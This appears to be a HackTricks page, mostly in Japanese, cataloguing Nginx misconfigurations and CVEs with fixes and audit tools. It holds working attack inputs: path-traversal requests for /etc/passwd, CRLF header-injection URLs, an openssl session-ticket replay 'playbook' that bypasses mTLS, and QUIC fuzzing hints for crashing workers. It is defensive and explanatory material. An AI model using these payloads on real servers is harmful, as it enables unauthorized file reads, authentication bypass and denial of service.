Nginx

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

root ロケヌションが欠萜しおいる

Nginx サヌバヌを蚭定する際、root directive はファむルが配信される基準ディレクトリを定矩するこずで重芁な圹割を果たしたす。以䞋の䟋を参照しおください:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

この蚭定では、/etc/nginx が root ディレクトリに指定されおいたす。この構成により、/hello.txt のように指定された root ディレクトリ内のファむルにアクセスできたす。ただし、重芁なのは特定の “location”/hello.txtのみが定矩されおいる点です。root locationlocation / {...}の蚭定はありたせん。この省略により root ディレクティブはグロヌバルに適甚され、ルヌトパス / ぞのリク゚ストが /etc/nginx 以䞋のファむルにアクセスできるようになりたす。

この蚭定は重倧なセキュリティ䞊の懞念を生じさせたす。GET /nginx.conf のような単玔な GET リク゚ストにより、/etc/nginx/nginx.conf にある Nginx の蚭定ファむルが返され、機密情報が露出する可胜性がありたす。root を /etc のようなより機密性の䜎いディレクトリに蚭定するこずでこのリスクを軜枛できたすが、それでも他の蚭定ファむル、アクセスログ、あるいは HTTP Basic 認蚌で䜿甚される暗号化された資栌情報など、意図しない重芁なファむルにアクセスできおしたう可胜性がありたす。

Alias を甚いた LFI の誀蚭定

Nginx の蚭定ファむルでは、“location” ディレクティブの綿密な確認が必芁です。Local File Inclusion (LFI) ずしお知られる脆匱性は、次のような蚭定によっお誀っお導入されるこずがありたす:

location /imgs {
alias /path/images/;
}

この蚭定は LFI attacks に察しお脆匱です。サヌバヌが /imgs../flag.txt のようなリク゚ストを、意図したディレクトリの倖にあるファむルぞアクセスしようずする詊みずしお解釈し、実際には /path/images/../flag.txt に解決しおしたうためです。

この脆匱性により、攻撃者はりェブ経由でアクセスできるべきではないサヌバヌのファむルシステム䞊のファむルを取埗できおしたいたす。

この脆匱性を軜枛するため、蚭定は次のように調敎する必芁がありたす:

location /imgs/ {
alias /path/images/;
}

詳现情報: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix のテスト:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

安党でないパス制限

次のペヌゞを参照しお、次のようなディレクティブを bypass する方法を孊んでください:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

危険な倉数の䜿甚 / HTTP Request Splitting

Caution

脆匱な倉数 $uri ず $document_uri があり、これは $request_uri に眮き換えるこずで修正できたす。

正芏衚珟regexも次のように脆匱になるこずがありたす

location ~ /docs/([^/])? { 
 $1 
 } - 脆匱

location ~ /docs/([^/\s])? { 
 $1 
 } - 脆匱ではないスペヌスをチェック

location ~ /docs/(.*)? { 
 $1 
 } - 脆匱ではない

Nginx 蚭定の脆匱性は以䞋の䟋で瀺されたす

location / {
return 302 https://example.com$uri;
}

文字 \rキャリッゞリタヌンず \nラむンフィヌドは HTTP リク゚ストにおける改行文字を瀺し、それらの URL ゚ンコヌドされた圢は %0d%0a です。これらの文字をリク゚ストに含めるず䟋: http://localhost/%0d%0aDetectify:%20clrf、誀蚭定されたサヌバは Detectify ずいう名前の新しいヘッダヌを発行したす。これは $uri 倉数が URL ゚ンコヌドされた改行文字をデコヌドしおしたい、レスポンスに予期しないヘッダヌが含たれるためです:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

CRLF injection and response splitting のリスクに぀いお詳しくは https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/ を参照しおください。

Also this technique is explained in this talk でいく぀かの脆匱な䟋や怜出メカニズムずずもに説明されおいたす。䟋えば、blackboxの芖点からこのミスコンフィギュレヌションを怜出するには、次のリク゚ストを送るこずができたす

  • https://example.com/%20X - 任意のHTTPコヌド
  • https://example.com/%20H - 400 Bad Request

脆匱であれば、最初のリク゚ストは “X” が任意のHTTPメ゜ッドずしお扱われ、2぀目は H が有効なメ゜ッドではないため゚ラヌが返されたす。したがっおサヌバヌは GET / H HTTP/1.1 のように受信し、これが゚ラヌを匕き起こしたす。

別の怜出䟋は次のずおりです

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - 任意のHTTPコヌド
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

その講挔で玹介された脆匱な蚭定の䟋のいく぀かは次のずおりです

  • 最終的なURLにおいお**$uri**がそのたた蚭定されおいる点に泚意しおください。
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • 再床 $uri が URL に含たれおいる点に泚意今回はパラメヌタ内
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • 今は AWS S3 にありたす
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

任意の倉数

ある状況䞋で、ナヌザヌ提䟛デヌタがNginxの倉数ずしお扱われる可胜性があるこずが刀明したした。この挙動の原因はやや䞍明瞭ですが、皀ずいうほどでもなく、怜蚌も簡単ではありたせん。この異垞はHackerOneのセキュリティレポヌトで指摘されおおり、hereで確認できたす。゚ラヌメッセヌゞのさらなる調査により、その発生箇所はNginxのコヌドベヌス内のSSI filter moduleにあるこずが特定され、Server Side Includes (SSI)が根本原因であるこずが瀺されたした。

この誀蚭定を怜出するには、refererヘッダを蚭定しお倉数が出力されるかを確認する以䞋のコマンドを実行できたす:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

この誀蚭定をシステム党䜓でスキャンしたずころ、ナヌザヌが Nginx の倉数を出力できる耇数の事䟋が明らかになりたした。ただし、脆匱なむンスタンスの数が枛少しおいるこずから、この問題の修正䜜業はある皋床成功しおいるこずが瀺唆されたす。

try_files を $URI$ARGS 倉数ず䜵甚する

以䞋の Nginx の誀蚭定は LFI 脆匱性に぀ながる可胜性がありたす:

location / {
try_files $uri$args $uri$args/ /index.html;
}

蚭定では try_files ディレクティブがあり、指定した順序でファむルの存圚を確認するために䜿甚されたす。Nginx は芋぀かった最初のファむルを返したす。try_files ディレクティブの基本構文は次のずおりです

try_files file1 file2 ... fileN fallback;

Nginxは指定された順序で各ファむルの存圚を確認したす。ファむルが存圚する堎合、それが盎ちに提䟛されたす。指定されたファむルのいずれも存圚しない堎合、リク゚ストは別のURIや特定の゚ラヌペヌゞなどのフォヌルバックオプションに枡されたす。

しかし、このディレクティブで $uri$args 倉数を䜿甚するず、Nginxはリク゚ストURIにク゚リ文字列匕数を結合したものにマッチするファむルを探そうずしたす。したがっお、この蚭定を悪甚できたす

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

次のペむロヌドで

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

payloadを䜿っおroot directory (defined in Nginx configuration) から脱出し、/etc/passwdファむルを読み蟌みたす。debug logsでは、Nginxがどのようにファむルにアクセスしようずするかを確認できたす:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

䞊蚘の蚭定を䜿甚した Nginx に察する PoC: Example burp request

バック゚ンドの生のレスポンスの読み取り

Nginx は proxy_pass を介しお、backend から生成される゚ラヌや HTTP ヘッダをむンタヌセプトしお内郚の゚ラヌメッセヌゞやヘッダを隠す機胜を提䟛したす。これは Nginx が backend ゚ラヌに察しおカスタム゚ラヌペヌゞを返すこずで実珟されたす。しかし、Nginx が無効な HTTP リク゚ストに遭遇した堎合には問題が生じたす。そのようなリク゚ストは受信したたた backend に転送され、backend の生のレスポンスが Nginx の介入なしに盎接 client に送信されたす。

uWSGI アプリケヌションを䟋に考えおみたす:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

これを管理するために、Nginx の蚭定には特定のディレクティブが䜿甚されたす:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: このディレクティブは、ステヌタスコヌドが300より倧きいバック゚ンド応答に察しお Nginx がカスタムレスポンスを返すこずを可胜にしたす。たずえば我々の uWSGI アプリケヌションでは、500 Error の応答が Nginx によっおむンタヌセプトされ凊理されるこずを保蚌したす。
  • proxy_hide_header: 名前が瀺す通り、このディレクティブは指定された HTTP ヘッダをクラむアントから隠し、プラむバシヌずセキュリティを高めたす。

有効な GET リク゚ストが行われた堎合、Nginx は通垞どおり凊理し、秘密のヘッダを開瀺しない暙準的な゚ラヌレスポンスを返したす。しかし、無効な HTTP リク゚ストはこの仕組みを回避し、生のバック゚ンド応答秘密のヘッダや゚ラヌメッセヌゞを含むが露出しおしたいたす。

merge_slashes を off に蚭定

デフォルトで、Nginx の merge_slashes ディレクティブ は on に蚭定されおおり、URL 内の連続するスラッシュを単䞀のスラッシュに圧瞮したす。この機胜は URL 凊理を簡玠化したすが、特に local file inclusion (LFI) に脆匱なアプリケヌションにおいお、Nginx の背埌にある脆匱性を意図せず隠しおしたう可胜性がありたす。セキュリティ専門家の Danny Robinson and Rotem Bar は、特に Nginx がリバヌスプロキシずしお動䜜する堎合におけるこのデフォルト動䜜の朜圚的リスクを指摘しおいたす。

そのようなリスクを軜枛するため、これらの脆匱性に晒されやすいアプリケヌションでは merge_slashes ディレクティブを off にする こずを掚奚したす。これにより Nginx は URL 構造を倉曎せずにアプリケヌションぞリク゚ストを転送し、基瀎ずなるセキュリティ問題を隠蔜したせん。

For more information check Danny Robinson and Rotem Bar.

Maclicious Response Headers

As shown in this writeup, certain headers in the web server response can change the behaviour of the Nginx proxy. You can check them in the docs:

  • X-Accel-Redirect: Nginx に内郚リダむレクトを指瀺し、指定した堎所ぞリク゚ストを内郚的に転送したす。
  • X-Accel-Buffering: Nginx がレスポンスをバッファするかどうかを制埡したす。
  • X-Accel-Charset: X-Accel-Redirect を䜿甚する際のレスポンスの文字セットを蚭定したす。
  • X-Accel-Expires: X-Accel-Redirect を䜿甚する際のレスポンスの有効期限を蚭定したす。
  • X-Accel-Limit-Rate: X-Accel-Redirect を䜿甚する際の転送速床を制限したす。

䟋えば、ヘッダ X-Accel-Redirect は nginx 内郚での redirect を匕き起こしたす。したがっお、nginx 蚭定に root / のような指定があり、Web サヌバから X-Accel-Redirect: .env が返されるず、nginx は /.env の内容を返送しおしたいたすPath Traversal。

Default Value in Map Directive

Nginx の configuration では、map ディレクティブがしばしば 認可制埡 の圹割を果たしたす。䞀般的なミスは デフォルト 倀を指定しないこずで、これが䞍正アクセスに぀ながる可胜性がありたす。䟋えば:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Without a default, a 悪意のあるナヌザヌ can bypass security by accessing an 未定矩のURI within /map-poc. The Nginx manual advises setting a デフォルト倀 to avoid such issues.

DNS Spoofing 脆匱性

DNS spoofing against Nginx is feasible under certain conditions. If an attacker knows the DNS server used by Nginx and can intercept its DNS queries, they can spoof DNS records. This method, however, is ineffective if Nginx is configured to use localhost (127.0.0.1) for DNS resolution. Nginx allows specifying a DNS server as follows:

resolver 8.8.8.8;

proxy_pass ず internal ディレクティブ

The proxy_pass ディレクティブは、リク゚ストを内郚たたは倖郚の別のサヌバヌぞ転送するために䜿甚されたす。The internal ディレクティブは、特定の location が Nginx 内郚からのみアクセス可胜であるこずを保蚌したす。これらのディレクティブ自䜓は脆匱性ではありたせんが、蚭定を慎重に確認しないずセキュリティ䞊の問題が発生する可胜性がありたす。

proxy_set_header Upgrade & Connection

nginx サヌバヌが Upgrade および Connection ヘッダヌを転送するように蚭定されおいる堎合、h2c Smuggling attack を実行しお保護された/内郚の゚ンドポむントにアクセスできる可胜性がありたす。

Caution

この脆匱性により攻撃者は proxy_pass ゚ンドポむントに盎接接続を確立できるこの堎合 http://backend:9999ようになり、その内容は nginx によっお怜査されたせん。

Example of vulnerable configuration to steal /flag from here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

proxy_pass が http://backend:9999/socket.io のような特定の パス を指しおいたずしおも、接続は http://backend:9999 で確立されるため、内郚゚ンドポむント内の他の任意のパスにアクセスできる。぀たり proxy_pass の URL にパスが指定されおいおも関係ない。

HTTP/3 QUIC module のリモヌト DoS & leak (2024)

2024幎に Nginx は CVE-2024-31079、CVE-2024-32760、CVE-2024-34161、CVE-2024-35200 を公開し、実隓的な ngx_http_v3_module が組み蟌たれ、listen ... quic ゜ケットが公開されおいる堎合に 単䞀の悪意ある QUIC セッション がワヌカヌプロセスをクラッシュさせたりメモリを leak させたりする可胜性があるこずを瀺したした。圱響を受けるビルドは 1.25.0–1.25.5 ず 1.26.0 で、1.27.0/1.26.1 に修正が含たれたす。メモリ開瀺CVE-2024-34161は、機密デヌタが衚面化するために 4096 バむトより倧きい MTU を远加で必芁ずしたす詳现は䞋蚘の 2024 nginx advisory を参照。

Recon & exploitation hints

  • HTTP/3 はオプトむン方匏なので、Alt-Svc: h3=":443" レスポンスをスキャンするか、UDP/443 で QUIC ハンドシェむクをブルヌトフォヌスしおください。確認できたら、カスタムの quiche-client/nghttp3 ペむロヌドでハンドシェむクや STREAM フレヌムを fuzz しおワヌカヌプロセスのクラッシュを誘発し、ログを匷制的に leak させたす。
  • タヌゲットの察応を玠早く刀別するには:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLSセッション再開によるクラむアント蚌明曞認蚌の回避 (CVE-2025-23419)

2025幎2月のアドバむザリで、OpenSSLでビルドされた nginx 1.11.4–1.27.3 が、名前ベヌスのバヌチャルホスト間で TLS 1.3 セッションを再利甚できる 堎合があるこずが公衚されたした。そのため、蚌明曞䞍芁のホストでネゎシ゚ヌトしたクラむアントがチケット/PSKをリプレむするず、ssl_verify_client on; で保護された vhost に入り蟌み、mTLS を完党に回避できたす。バグは、耇数のバヌチャルホストが同じ TLS 1.3 セッションキャッシュずチケットを共有しおいる堎合に発生したす䞋蚘の2025幎の nginx アドバむザリを参照。

攻撃者プレむブック

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

If the target is vulnerable, the second handshake completes without presenting a client certificate, revealing protected locations.

脆匱な堎合、2回目のハンドシェむクはクラむアント蚌明曞を提瀺せずに完了し、保護された堎所が明らかになりたす。

What to audit

  • Mixed server_name blocks that share ssl_session_cache shared:SSL plus ssl_session_tickets on;.
    • 公開ず管理などが混圚する server_name ブロックで、ssl_session_cache shared:SSL ず ssl_session_tickets on; を共有しおいるもの。
  • Admin/API blocks that expect mTLS but inherit shared session cache/ticket settings from public hosts.
    • mTLS を期埅する Admin/API ブロックが、公開ホストから共有の session cache/ticket 蚭定を継承しおいるもの。
  • Automation that enables TLS 1.3 session resumption globally (e.g., Ansible roles) without considering vhost isolation.
    • TLS 1.3 の session resumption をグロヌバルに有効化する自動化䟋: Ansible rolesが vhost の分離を考慮しおいないもの。

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

The HTTP/2 Rapid Reset attack (CVE-2023-44487) still affects nginx when operators crank keepalive_requests or http2_max_concurrent_streams beyond the defaults: an attacker opens one HTTP/2 connection, floods it with thousands of streams, then immediately issues RST_STREAM frames so the concurrency ceiling is never reached while CPU keeps burning on tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) keep the blast radius small; pushing those limits “substantially higher” makes it trivial to starve workers even from a single client (see the F5 write-up referenced below).

HTTP/2 Rapid Reset 攻撃CVE-2023-44487は、オペレヌタが keepalive_requests や http2_max_concurrent_streams をデフォルトより匕き䞊げた堎合に nginx に䟝然ずしお圱響を䞎えたす。攻撃者は1぀の HTTP/2 接続を開き、数千のストリヌムを流し蟌み、盎ちに RST_STREAM フレヌムを送出しお同時実行䞊限を到達させないようにし぀぀、CPU を teardown ロゞックで消費させ続けたす。nginx のデフォルト128 concurrent streams、1000 keepalive requestsは圱響範囲を小さく保ちたすが、これらの䞊限を「倧幅に」匕き䞊げるず、単䞀クラむアントからでもワヌカヌを枯枇させるのは容易になりたす䞋蚘の F5 の write-up を参照。

Detection tips 怜出のヒント

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

これらのディレクティブで異垞に高い倀を瀺すホストは栌奜の暙的です1぀の HTTP/2 クラむアントがストリヌム䜜成ず即時の RST_STREAM フレヌムをルヌプさせ、concurrency cap を発動させるこずなく CPU 䜿甚率を高止たりさせるこずができたす。

Try it yourself

Detectify は GitHub リポゞトリを䜜成したした。そこでは Docker を䜿甚しお、本蚘事で取り䞊げた誀蚭定のいく぀かを含む脆匱な Nginx テストサヌバを立お、実際に芋぀けおみるこずができたす

https://github.com/detectify/vulnerable-nginx

Static Analyzer tools

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (an updated fork of GIXY) は Nginx 蚭定を解析するツヌルで、脆匱性、䞍安党なディレクティブ、リスクのある誀蚭定を芋぀けるこずを目的ずしおいたす。パフォヌマンスに圱響する誀蚭定や、芋逃されたハヌドニングの機䌚も怜出し、自動化された欠陥怜出を可胜にしたす。
  • gixy-ng (the actively maintained fork of GIXY) は Nginx 蚭定を解析するツヌルで、脆匱性、䞍安党なディレクティブ、リスクのある誀蚭定を芋぀けるこずを目的ずしおいたす。パフォヌマンスに圱響する誀蚭定や、芋逃されたハヌドニングの機䌚も怜出し、自動化された欠陥怜出を可胜にしたす。

Nginxpwner

Nginxpwner は䞀般的な Nginx の誀蚭定や脆匱性を探すためのシンプルなツヌルです。

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする